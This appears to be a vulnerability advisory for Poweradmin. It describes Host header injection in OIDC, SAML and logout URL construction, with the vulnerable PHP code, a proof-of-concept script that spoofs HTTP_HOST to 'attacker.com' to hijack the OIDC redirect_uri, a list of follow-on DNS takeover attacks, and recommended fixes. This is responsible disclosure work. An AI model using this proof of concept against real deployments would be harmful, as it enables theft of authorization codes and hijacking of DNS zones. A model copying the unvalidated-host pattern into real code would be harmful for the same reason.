Poweradmin has Host Header Injection in OIDC redirect_uri, SAML ACS/SLO URL, and Logout Redirect Construction.

private function getCallbackUrl(): string
{
    $scheme = $this->detectScheme();
    // HTTP_HOST taken directly with zero validation
    $host = $this->request->getServerParam('HTTP_HOST', 'localhost');
    $basePrefix = $this->configManager->get('interface', 'base_url_prefix', '');
    return $scheme . '://' . $host . $basePrefix . '/oidc/callback';
}

HTTP_HOST is embedded verbatim as redirect_uri in the OAuth 2.0 authorization
request sent to the IdP. HTTP_X_FORWARDED_PROTO is similarly used unvalidated
for scheme detection.

Secondary: lib/Application/Service/SamlConfigurationService.php (~line 134)

private function getBaseUrl(): string
{
    $configuredBaseUrl = $this->configManager->get('interface', 'base_url', '');
    if (!empty($configuredBaseUrl)) {
        return rtrim($configuredBaseUrl, '/');  // safe path - rarely configured
    }
    // Falls through on every default installation
    $host = $_SERVER['HTTP_HOST'] ?? 'localhost';
    ...
    return $scheme . '://' . $host . $prefix;
}

Used to construct SAML ACS URL, SLO URL, and entity ID - all poisonable via Host header.
The safe fallback only activates when interface.base_url is explicitly set, which is
optional and empty by default.

Tertiary: lib/Application/Controller/LogoutController.php (~line 272)

Same $_SERVER['HTTP_HOST'] pattern used for post-logout redirect URL construction.

### PoC
Environment: Poweradmin v4.3.2, Docker, PHP 8.2, OIDC enabled, interface.base_url empty (default).

docker exec poweradmin-container php -r "
require '/app/vendor/autoload.php';
putenv('PA_CONFIG_PATH=/app/config/settings.php');

use PowerAdmin\Application\Service\OidcService;
use PowerAdmin\Infrastructure\Configuration\ConfigurationManager;
use PowerAdmin\Infrastructure\Web\Request;

\$_SERVER['HTTP_HOST'] = 'attacker.com';
\$_SERVER['HTTPS']     = '';

\$config      = ConfigurationManager::getInstance();
\$request     = new Request();
\$oidcService = new OidcService(\$config, \$request);
\$authUrl     = \$oidcService->initiateAuthFlow('test');

parse_str(parse_url(\$authUrl, PHP_URL_QUERY), \$p);
echo 'redirect_uri: ' . urldecode(\$p['redirect_uri']) . PHP_EOL;

if (str_contains(\$p['redirect_uri'], 'attacker.com')) {
    echo '[CONFIRMED] Host header injection successful' . PHP_EOL;
}
"

Output:

redirect_uri: http://attacker.com/oidc/callback

[CONFIRMED] Host header injection successful - redirect_uri contains attacker.com

The redirect_uri in the authorization request sent to the Identity Provider is
http://attacker.com/oidc/callback. The victim's authorization code will be
delivered to this URL upon successful authentication.

Note on PKCE: PKCE does not mitigate this attack. The attacker initiates the
flow themselves and controls both code_challenge and code_verifier.

### Impact
Direct Impact

An attacker who can send a request with a spoofed Host header - directly or via a
misconfigured reverse proxy (proxy_set_header Host $http_host is the nginx default) -
can steal any user's authorization code and gain full authenticated access to Poweradmin.
No credentials, malware, or prior access required.

DNS Infrastructure Impact

Poweradmin manages PowerDNS. A compromised administrator account grants full DNS zone
control, enabling:

- MX hijacking - redirect all inbound email to attacker's mail server; intercept
password reset emails and 2FA codes for any third-party service registered with the domain
- SPF/DKIM manipulation - add attacker's IP to SPF, publish attacker's DKIM key →
send cryptographically authenticated email as the organization (passes DMARC)
- Subdomain takeover - point mail., vpn., app. to attacker infrastructure
- SSL certificate theft - remove CAA records and complete ACME DNS-01 challenge
to obtain wildcard certificate *.company.com from any CA
- Full domain delegation - delegate subdomains to attacker nameserver

CVSS v3.1

┌──────────────────────────────────┬─────────────────────────────────────┬──────────────┐
│             Scenario             │               Vector                │    Score     │
├──────────────────────────────────┼─────────────────────────────────────┼──────────────┤
│ Standard deployment              │ AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L │ 8.2 High     │
├──────────────────────────────────┼─────────────────────────────────────┼──────────────┤
│ Proxy misconfigured ($http_host) │ AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L │ 9.3 Critical │
└──────────────────────────────────┴─────────────────────────────────────┴──────────────┘

Recommended Fix

Immediate mitigation: Set interface.base_url in config/settings.php -
activates the safe branch in SamlConfigurationService immediately.

Code fix for OidcService: Prefer the configured base URL; if absent, validate
HTTP_HOST via filter_var($hostname, FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME)
before use - the same pattern already implemented in DocsController::getValidatedHost().